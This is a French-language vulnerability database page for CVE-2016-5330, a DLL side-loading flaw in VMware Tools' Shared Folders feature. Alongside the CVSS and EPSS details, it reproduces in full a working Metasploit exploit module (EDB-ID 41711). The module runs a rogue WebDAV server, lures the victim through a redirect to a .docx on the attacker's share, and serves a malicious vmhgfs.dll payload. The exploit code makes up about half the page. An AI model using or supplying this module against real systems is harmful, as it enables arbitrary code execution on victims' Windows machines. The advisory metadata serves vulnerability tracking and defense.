CVE-2016-5330 Détail

CVE-2016-5330

Score / Gravité

7.8

Haute

OWSAP

A08-Soft and Data Integrity Fail

EPSS

4.32%V3

Vecteur

Local

Publié

2016-08-07
23h00 +00:00

Modifié

2018-10-09
16h57 +00:00

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CVE.org

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Descriptions du CVE

Untrusted search path vulnerability in the HGFS (aka Shared Folders) feature in VMware Tools 10.0.5 in VMware ESXi 5.0 through 6.0, VMware Workstation Pro 12.1.x before 12.1.1, VMware Workstation Player 12.1.x before 12.1.1, and VMware Fusion 8.1.x before 8.1.1 allows local users to gain privileges via a Trojan horse DLL in the current working directory.

Informations du CVE

Faiblesses connexes

CWE-ID	Nom de la faiblesse	Source
CWE-426	Untrusted Search Path The product searches for critical resources using an externally-supplied search path that can point to resources that are not under the product's direct control.

Métriques

Métriques	Score	Gravité	CVSS Vecteur	Source
V3.1	7.8	HIGH	CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Local The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. Required Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope Metrics The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. Unchanged An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact Metrics The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental Metrics These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.	[email protected]
V2	4.4		AV:L/AC:M/Au:N/C:P/I:P/A:P	[email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 41711

Date de publication : 2016-08-05 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'DLL Side Loading Vulnerability in VMware Host Guest Client Redirector', 'Description' => %q{ A DLL side loading vulnerability was found in the VMware Host Guest Client Redirector, a component of VMware Tools. This issue can be exploited by luring a victim into opening a document from the attacker's share. An attacker can exploit this issue to execute arbitrary code with the privileges of the target user. This can potentially result in the attacker taking complete control of the affected system. If the WebDAV Mini-Redirector is enabled, it is possible to exploit this issue over the internet. }, 'Author' => 'Yorick Koster', 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2016-5330'], ['URL', 'https://securify.nl/advisory/SFY20151201/dll_side_loading_vulnerability_in_vmware_host_guest_client_redirector.html'], ['URL', 'http://www.vmware.com/in/security/advisories/VMSA-2016-0010.html'], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Payload' => { 'Space' => 2048, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows x64', {'Arch' => ARCH_X64,} ], [ 'Windows x86', {'Arch' => ARCH_X86,} ] ], 'Privileged' => false, 'DisclosureDate' => 'Aug 5 2016', 'DefaultTarget' => 0)) register_options( [ OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), OptString.new('URIPATH', [ true, "The URI to use (do not change)", "/" ]), OptString.new('BASENAME', [ true, "The base name for the docx file", "Document1" ]), OptString.new('SHARENAME', [ true, "The name of the top-level share", "documents" ]) ], self.class) # no SSL deregister_options('SSL', 'SSLVersion', 'SSLCert') end def on_request_uri(cli, request) case request.method when 'OPTIONS' process_options(cli, request) when 'PROPFIND' process_propfind(cli, request) when 'GET' process_get(cli, request) else print_status("#{request.method} => 404 (#{request.uri})") resp = create_response(404, "Not Found") resp.body = "" resp['Content-Type'] = 'text/html' cli.send_response(resp) end end def process_get(cli, request) myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] webdav = "\\\\#{myhost}\\" if (request.uri =~ /vmhgfs\.dll$/i) print_status("GET => DLL Payload (#{request.uri})") return if ((p = regenerate_payload(cli)) == nil) data = generate_payload_dll({ :arch => target['Arch'], :code => p.encoded }) send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end if (request.uri =~ /\.docx$/i) print_status("GET => DOCX (#{request.uri})") send_response(cli, "", { 'Content-Type' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' }) return end if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i) print_status("GET => REDIRECT (#{request.uri})") resp = create_response(200, "OK") resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=file:\\\\#{@exploit_unc}#{datastore['SHARENAME']}\\#{datastore['BASENAME']}.docx"></head><body></body></html>| resp['Content-Type'] = 'text/html' cli.send_response(resp) return end print_status("GET => 404 (#{request.uri})") resp = create_response(404, "Not Found") resp.body = "" cli.send_response(resp) end # # OPTIONS requests sent by the WebDav Mini-Redirector # def process_options(cli, request) print_status("OPTIONS #{request.uri}") headers = { 'MS-Author-Via' => 'DAV', 'DASL' => '<DAV:sql>', 'DAV' => '1, 2', 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK', 'Cache-Control' => 'private' } resp = create_response(207, "Multi-Status") headers.each_pair {|k,v| resp[k] = v } resp.body = "" resp['Content-Type'] = 'text/xml' cli.send_response(resp) end # # PROPFIND requests sent by the WebDav Mini-Redirector # def process_propfind(cli, request) path = request.uri print_status("PROPFIND #{path}") body = '' my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] my_uri = "http://#{my_host}/" if path !~ /\/$/ if blacklisted_path?(path) print_status "PROPFIND => 404 (#{path})" resp = create_response(404, "Not Found") resp.body = "" cli.send_response(resp) return end if path.index(".") print_status "PROPFIND => 207 File (#{path})" body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype/> <lp1:creationdate>#{gen_datestamp}</lp1:creationdate> <lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength> <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <lp2:executable>T</lp2:executable> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>application/octet-stream</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> </D:multistatus> | # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml; charset="utf8"' cli.send_response(resp) return else print_status "PROPFIND => 301 (#{path})" resp = create_response(301, "Moved") resp["Location"] = path + "/" resp['Content-Type'] = 'text/html' cli.send_response(resp) return end end print_status "PROPFIND => 207 Directory (#{path})" body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>#{gen_datestamp}</lp1:creationdate> <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> | if request["Depth"].to_i > 0 trail = path.split("/") trail.shift case trail.length when 0 body << generate_shares(path) when 1 body << generate_files(path) end else print_status "PROPFIND => 207 Top-Level Directory" end body << "</D:multistatus>" body.gsub!(/\t/, '') # send the response resp = create_response(207, "Multi-Status") resp.body = body resp['Content-Type'] = 'text/xml; charset="utf8"' cli.send_response(resp) end def generate_shares(path) share_name = datastore['SHARENAME'] %Q| <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}#{share_name}/</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>#{gen_datestamp}</lp1:creationdate> <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> | end def generate_files(path) trail = path.split("/") return "" if trail.length < 2 %Q| <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}#{datastore['BASENAME']}.docx</D:href> <D:propstat> <D:prop> <lp1:resourcetype/> <lp1:creationdate>#{gen_datestamp}</lp1:creationdate> <lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength> <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <lp2:executable>T</lp2:executable> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>application/octet-stream</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> | end def gen_timestamp(ttype=nil) ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT") end def gen_datestamp(ttype=nil) ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ") end # This method rejects requests that are known to break exploitation def blacklisted_path?(uri) return true if uri =~ /\.exe/i return true if uri =~ /\.(config|manifest)/i return true if uri =~ /desktop\.ini/i return true if uri =~ /lib.*\.dll/i return true if uri =~ /\.tmp$/i return true if uri =~ /(pcap|packet)\.dll/i false end def exploit myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST'] @exploit_unc = "\\\\#{myhost}\\" if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') end print_status("Files are available at #{@exploit_unc}#{datastore['SHARENAME']}") super end end